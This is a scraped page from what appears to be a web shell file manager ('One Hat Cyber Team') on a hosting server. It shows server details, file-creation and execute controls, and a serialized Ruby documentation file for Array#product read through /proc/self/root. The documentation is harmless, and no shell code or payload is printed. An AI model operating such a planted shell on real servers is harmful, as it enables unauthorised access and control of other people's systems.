⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Array
/
View File Name :
product-i.ri
U:RDoc::AnyMethod[iI"product:ETI"Array#product;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"VComputes and returns or yields all combinations of elements from all the Arrays, ;TI".including both +self+ and +other_arrays+.;To:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0; [o; ; [I"OThe number of combinations is the product of the sizes of all the arrays, ;TI".including both +self+ and +other_arrays+.;To;;0; [o; ; [I"=The order of the returned combinations is indeterminate.;To:RDoc::Markup::BlankLine o; ; [I"MWhen no block is given, returns the combinations as an \Array of Arrays:;To:RDoc::Markup::Verbatim; [I"a = [0, 1, 2] ;TI"a1 = [3, 4] ;TI"a2 = [5, 6] ;TI"p = a.product(a1) ;TI"&p.size # => 6 # a.size * a1.size ;TI"=p # => [[0, 3], [0, 4], [1, 3], [1, 4], [2, 3], [2, 4]] ;TI"p = a.product(a1, a2) ;TI"1p.size # => 12 # a.size * a1.size * a2.size ;TI"Œp # => [[0, 3, 5], [0, 3, 6], [0, 4, 5], [0, 4, 6], [1, 3, 5], [1, 3, 6], [1, 4, 5], [1, 4, 6], [2, 3, 5], [2, 3, 6], [2, 4, 5], [2, 4, 6]] ;T:@format0o; ; [I"AIf any argument is an empty \Array, returns an empty \Array.;T@o; ; [I"EIf no argument is given, returns an \Array of 1-element Arrays, ;TI"*each containing an element of +self+:;To;; [I"$a.product # => [[0], [1], [2]] ;T;0o; ; [I"QWhen a block is given, yields each combination as an \Array; returns +self+:;To;; [I"2a.product(a1) {|combination| p combination } ;T;0o; ; [I"Output:;To;; [I"[0, 3] ;TI"[0, 4] ;TI"[1, 3] ;TI"[1, 4] ;TI"[2, 3] ;TI"[2, 4] ;T;0o; ; [I"AIf any argument is an empty \Array, does not call the block:;To;; [I"Aa.product(a1, a2, []) {|combination| fail 'Cannot happen' } ;T;0o; ; [I"RIf no argument is given, yields each element of +self+ as a 1-element \Array:;To;; [I".a.product {|combination| p combination } ;T;0o; ; [I"Output:;To;; [I" [0] ;TI" [1] ;TI"[2];T;0: @fileI"array.c;T:0@omit_headings_from_table_of_contents_below0I"iarray.product(*other_arrays) -> new_array array.product(*other_arrays) {|combination| ... } -> self ;T0[ I"(*args);T@ZFI" Array;TcRDoc::NormalClass00